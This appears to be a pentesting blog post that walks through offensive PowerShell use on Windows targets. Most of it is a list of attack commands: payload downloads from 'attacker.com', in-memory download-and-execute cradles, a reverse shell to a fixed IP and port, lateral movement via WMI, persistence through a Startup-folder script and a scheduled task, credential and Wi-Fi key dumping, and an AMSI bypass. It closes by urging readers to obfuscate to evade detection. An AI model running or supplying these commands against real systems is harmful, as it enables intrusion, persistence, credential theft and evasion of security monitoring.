PowerShell for Pentesters: What You Need to Know

PowerShell is one of the most powerful tools in a pentester’s Windows toolbox. If you’re targeting a Windows environment — and let’s be real, you will be — you need to understand PowerShell not just as a scripting language, but as a full-blown post-exploitation Swiss Army knife.

In this post, we’re skipping the theory-heavy stuff. You already know PowerShell is important. We’re going to look at how it works (very briefly), then jump into the real meat: the commands and scripts every pentester should have in their toolkit.

PowerShell is a command-line shell and scripting language built on .NET. It’s designed for system administration and automation. The key thing to know is:

  • It lets you interact with the Windows OS and its components (like the registry, services, and event logs).
  • It can run scripts, download payloads, modify settings, and pull system information — all from the terminal.
  • It runs in-memory, making it stealthy for red team ops.

Let’s get into what you’re really here for — the techniques, commands, and scripts that you’ll actually use during your engagements.

systeminfo

Basic but useful. Shows OS version, hotfixes, system uptime, etc.

query user
Get-LocalUser
Get-LocalGroupMember -Group "Administrators"
Get-ChildItem Env:
ipconfig /all
Get-NetIPConfiguration
Get-NetTCPConnection
Get-Process
Get-ChildItem -Force
Get-Content .\filename.txt
Select-String -Path *.txt -Pattern "password"
Invoke-WebRequest -Uri "http://attacker.com/file.exe" -OutFile "file.exe"

Or:

(New-Object System.Net.WebClient).DownloadFile("http://attacker.com/file.exe", "file.exe")
net view \\TARGET
quser /server:TARGET
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe" -ComputerName TARGET
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
Copy-Item "payload.ps1" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\payload.ps1"
schtasks /create /tn "Updater" /tr "powershell.exe -ExecutionPolicy Bypass -File payload.ps1" /sc minute /mo 1
cmdkey /list
netsh wlan show profile name="WiFiName" key=clear

You’ll need SYSTEM privileges and tools like mimikatz, but this is where PowerShell shines for delivery and execution.

powershell.exe -EncodedCommand [base64payload]
powershell.exe -ExecutionPolicy Bypass -File script.ps1

Or inline:

powershell -ep bypass -Command "Invoke-WebRequest ..."

Recon tool for AD environments. Part of PowerSploit.

  • Enumerate domains, users, groups, shares, sessions.
  • Example:
Import-Module .\PowerView.ps1
Get-NetUser

Privilege escalation tool for local enumeration.

Import-Module .\PowerUp.ps1
Invoke-AllChecks

A collection of offensive PowerShell scripts.

Examples:

  • Reverse shell: Invoke-PowerShellTcp
  • Download & Execute: Invoke-DownloadExecute
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

A full C2 framework. You don’t need to run the full Empire server — even just understanding the generated agent scripts is useful for custom payloads.

PowerShell is heavily monitored now by AV and EDR. Some common evasion techniques:

  • Use encoded payloads (-EncodedCommand)
  • Load scripts into memory (IEX (New-Object Net.WebClient).DownloadString(...))
  • Avoid writing to disk when possible
  • Use AMSI bypasses (with caution):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Final Thoughts

PowerShell gives you direct access to the beating heart of a Windows system. Whether you’re enumerating users, escalating privileges, or moving laterally across a network — PowerShell lets you do it quietly and efficiently.

But remember: with great power comes great detection. Learn it. Practice it. Obfuscate it. Master it.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top